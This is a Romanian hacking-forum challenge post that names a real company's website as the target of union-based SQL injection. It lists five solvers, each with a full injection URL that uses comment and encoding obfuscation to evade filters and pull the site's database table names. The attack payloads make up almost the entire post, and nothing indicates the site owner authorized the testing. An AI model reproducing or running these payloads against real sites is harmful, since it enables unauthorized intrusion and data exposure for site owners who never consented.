[+] Target : Casa din lemn rotund - CONY WOOD SRL [+] Metoda : Union Based [+] Cerinte : Afisati "Nick : table_name" [+] Proof : PM cu sintaxele Ideea cu tabelul de la Wubi . [table=width: 800, class: grid, align: left] [tr] [td]Solvers[/td] [td]Syntax (dupa inchiderea challengului)[/td] [/tr] [tr] [td]totti93[/td] [td]http://www.casadelemn.ro/?show=-2/*1337*/UNION/*1337*/(SELECT/*1337*/1337,concat_ws(0x203a20,0x746f7474693933,table_name)/*1337*/FROM/*1337*/INFORMATION_SCHEMA./*!TABLES*//*1337*/WHERE/*1337*/TABLE_SCHEMA=database())-- -[/td] [/tr] [tr] [td]Wubi[/td] [td]http://www.casadelemn.ro/?show=-2+/**//*!31337UNION SELECT*//**/+1,/*!31337cOnCat*/(/*!0x77756269,0x3a,table_name*/)/**//*!From*/+%69nformation_schema./**/tAblES+/*!31337Where*/+/*!%54able_ScHEmA*/=schEMA()-- - --+-[/td] [/tr] [tr] [td]neo.hapsis[/td] [td]http://www.casadelemn.ro/?show=2+and(0)+union+distinctROW+select+1,/*!50000CoNcaT*/(0x706833776c,0x3a,table_name) /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=database()-- -[/td] [/tr] [tr] [td]gafi[/td] [td]http://www.casadelemn.ro/?show=258000+union%23foo*%2F*bar%0D%0Aselect+1,concat_ws(' : ',CHAR(103,97,102,105),table_name)+FrOm/*!information_schema*/.tables/*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()--[/td] [/tr] [tr] [td]co4ie[/td] [td]http://www.casadelemn.ro/?show=-2+union+%28select+1,%09COnCaT%09%28user%28%29,0x3a,table_name%29+FrOm+InFoRmAtIoN_sChEmA.%09TaBlEs%09+WhErE+TaBlE_sChEMa+LiKe+database%28%29%29--%a0-[/td] [/tr] [tr] [td][/td] [td][/td] [/tr] [/table]